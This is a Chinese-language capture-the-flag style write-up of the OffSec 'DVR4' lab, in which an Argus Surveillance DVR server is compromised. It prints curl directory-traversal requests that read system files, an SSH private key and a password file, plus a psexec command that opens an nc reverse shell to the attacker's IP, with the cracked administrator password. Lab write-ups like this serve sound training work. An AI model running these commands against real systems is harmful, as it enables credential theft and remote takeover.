OSCP DVR4 Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

DVR4

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

Argus Surveillance DVR 目录遍历 –> Argus Surveillance DVR 用户列表得知用户名 –> 读取用户私钥文件 –> 系统 viewer 用户权限 –> 用户旗帜

权限提升:

Argus Surveillance DVR 用户密码文件 –> 执行密码破解(CVE-2022-25012 ) –> administrator 用户密码 –> psexec 横向移动 –> 系统 administrator 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo nmap -p- 192.168.170.179 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5040/tcp open unknown
7680/tcp open pando-pub
8080/tcp open http-proxy
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
sudo nmap -p22,135,139,445,5040,7680,8080,49664,49665,49666,49667,49668,49669 -sCV 192.168.170.179

PORT STATE SERVICE VERSION
22/tcp open ssh Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
| ssh-hostkey:
| 3072 21:25:f0:53:b4:99:0f:34:de:2d:ca:bc:5d:fe:20:ce (RSA)
|_ 384 e7:96:f3:6a:d8:92:07:5a:bf:37:06:86:0a:31:73:19 (ECDSA)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp open pando-pub?
8080/tcp open http-proxy
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Connection: Keep-Alive
| Keep-Alive: timeout=15, max=4
| Content-Type: text/html
| Content-Length: 985
| <HTML>
| <HEAD>
| <TITLE>
| Argus Surveillance DVR
| </TITLE>
| <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
| <meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]">
| <frameset frameborder="no" border="0" rows="75,*,88">
| <frame name="Top" frameborder="0" scrolling="auto" noresize src="CamerasTopFrame.html" marginwidth="0" marginheight="0">
| <frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize src="ActiveXIFrame.html" marginwidth="0" marginheight="0">
| <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize src="CamerasBottomFrame.html" marginwidth="0" marginheight="0">
| <noframes>
| <p>This page uses frames, but your browser doesn't support them.</p>
|_ </noframes>
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-09-12T01:28:26
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -2s

系统为 Windows 环境,开放有 HTTP、SSH 和 Windows 的一些默认服务。

3.2 渗透测试突破边界

3.2.1 Argus Surveillance DVR 目录遍历(CVE-2018-15745),得到 Viewer 用户私钥

访问靶机 HTTP 80 服务,点击 帮助 - 关于 可得到应用版本信息:Argus Surveillance DVR 4.0。

searchsploit 检索发现,发现应用历史存在多个漏洞,其中包含本地提权、目录遍历和密码破解漏洞。

1
searchsploit Argus Surveillance DVR

使用目录遍历漏洞成功读取到 C:\windows\win.ini 文件。

1
https://www.exploit-db.com/exploits/45296

1
curl "http://192.168.170.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

在网页用户列表中可得到用户信息,由于靶机开放有 ssh 服务,可尝试读取用户私钥文件。

1
curl "http://192.168.170.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusers%2Fviewer%2f.ssh%2Fid_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

将读取的私钥保存至文本并赋予 600 权限,一定注意: 私钥文件最后一行需要换行。

使用私钥 ssh 连接,获取到系统 Viewer 用户权限。

1
ssh -i id_rsa viewer@192.168.170.179

这里第一时间并没有尝试读取私钥,初步访问 Argus Surveillance DVR 应用时,由于之前遇到到过类似应用,也不了解应用的运行逻辑,比较模糊,一直在尝试漏洞利用,也尝试利用了前面提到的密码破解漏洞,可能由于网站权限的限制根据漏洞利用代码,并没有读取到用户 hash,而且在网站用户界面也不存在认证功能,思来想去最终尝试根据用户列表读取用户私钥,结果成功读取。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Argus Surveillance DVR 密码破解(CVE-2022-25012 )得到 administrator 密码

提权过程尝试了枚举计划任务、系统服务、以及系统安装的第三方应用漏洞,都没有发现通往管理员权限的有效路径。系统 C 盘根目录存在一个 output.txt 文件,文件中透露了系统会以管理员权限执行 powershell 脚本,想着通过泄露的信息创建脚本,然后找到触发该程序的方法,就可得到管理员权限,而这恰好是靶机的兔子洞,虽然当前用户拥有重启计算机的特权,但执行重启会提示权限错误,也找不到其他可触发脚本的方式,只能放弃该线索。

兔子洞

由于突破边界的时候尝试利用目录遍历读取 Argus Surveillance DVR 密码文件,结果并没有读取用户 hash,也就忽略了突破靶机后再次枚举该文件。

1
curl "http://192.168.170.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FProgramData%2FPY_Software%2FArgus%20Surveillance%20DVR%2FDVRParams.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

事实上在靶机是可以通过 Argus Surveillance DVR 密码文件读取到 administrator 用户 hash,也可能目录遍历过程截断了部分内容,导致显示不完整。

1
C:\ProgramData\PY_Software\Argus Surveillance DVR>type DVRParams.ini

使用 searchsploit 中 Argus Surveillance DVR 密码破解脚本时,会出现最后一组 hash 无法破解,主要由于该脚本的字典缺少了 D9A8 明文定义。

搜索引擎检索 CVE-2022-25012 漏洞利用代码,在 github 找到另一个利用脚本,可全部破解得到 administrator 用户明文。

1
https://github.com/s3l33/CVE-2022-25012

直接使用 ssh 无法进行登录,需通过靶机 viewer 家目录 psexec 工具执行反弹 shell,获取到系统 administrator 用户权限。

1
2
3
4
5
# kali
rlwrap nc -lvnp 80
# 靶机
psexec.exe -i \\dvr4 -u administrator cmd /c "C:\Users\viewer\nc.exe 192.168.45.236 80 -e cmd"
# 密码:14WatchD0g$

事情可能没有想象中的那么复制,考虑的太多反而会越走越远,当然靶机可能会出现各种兔子洞,这时候就需要我们非常警觉,避开这些消耗我们时间的无用线索。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP DVR4 Write-up
https://www.f0nesec.top/2025/09/12/oscp-dvr4/
作者
F0ne
发布于
2025年9月12日
许可协议